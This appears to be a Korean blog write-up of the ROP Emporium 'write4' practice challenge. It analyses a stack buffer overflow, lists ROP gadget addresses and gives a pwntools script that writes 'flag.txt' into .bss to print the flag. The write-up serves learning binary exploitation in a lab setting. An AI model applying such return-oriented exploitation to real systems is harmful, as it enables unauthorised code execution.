Check
- Partial RELRO --> got 덮어 쓸 수 있음
- NX
Analyze
pseudo code (IDA pro)
main 함수에서 라이브러리 함수인 pwnme()를 호출한다.
0x20 byte만큼 할당한 스택 버퍼 s에 read함수를 통해 0x200 byte까지 입력받을 수 있도록 하면서 버퍼 오버플로우 취약점이 발생한다.
라이브러리 함수인 print_file을 호출해 "nonexistent"라는 인자를 전달하고 있다.
>> 여기서 "nonexistent"의 값을 flag.txt로 바꿔서 플래그를 출력할 수 있도록 해야할 것 같다!!
gadgets
pop rdi ; ret ; = 0x400693
printf_file함수를 호출하는 영역: 0x400620
그 아래를 살펴보니 usefulGadgets 라는 함수? 부분이 있었다!
레지스터 r15에 저장되어있는 값을 r14의 주소영역에 저장한다. 따라서 우리가 원하는 대로 흐름을 만들기 위해서는 "pop r14 ; pop 15 ; "가젯을 찾아 r14에는 원하는 주소값을, r15에는 r14에 저장한 주소값에 최종적으로 들어갈 값을 넣어주고 usefulGadgets를 이용해 r14에 저장된 주소값에 원하는 값을 저장하게 된다.
⇒ bss영역의 주소값을 r14에 저장하고, "flag.txt"라는 문자열을 r15에 저장한다.
pop r14 ; pop r15 ; ret ; = 0x400690
bss 영역이 0x601038부터 시작되므로
writableArea = 0x601040 쯤으로 하겠다!
Exploit
from pwn import *
p = process("./write4")
elf = ELF("./write4")
libc = elf.libc
pdi = 0x400693
call_pf = 0x400620
p1415 = 0x400690
m1415 = 0x400628
writableArea = 0x601040
pl = "A"*(0x20 + 8)
pl += p64(p1415)
pl += p64(writableArea)
pl += str("flag.txt")
pl += p64(m1415)
pl += p64(pdi)
pl += p64(writableArea)
pl += p64(call_pf)
p.sendlineafter("> ", pl)
p.interactive()
'System > PWNABLE' 카테고리의 다른 글
[pwnable.xyz] add (0) | 2021.05.12 |
---|---|
[HackCTF] Register (0) | 2021.04.29 |
[HackCTF] Unexploitable_1 (0) | 2021.04.17 |
[ROP Emporium] callme (0) | 2021.04.02 |
[ROP Emporium] split32 (0) | 2021.03.26 |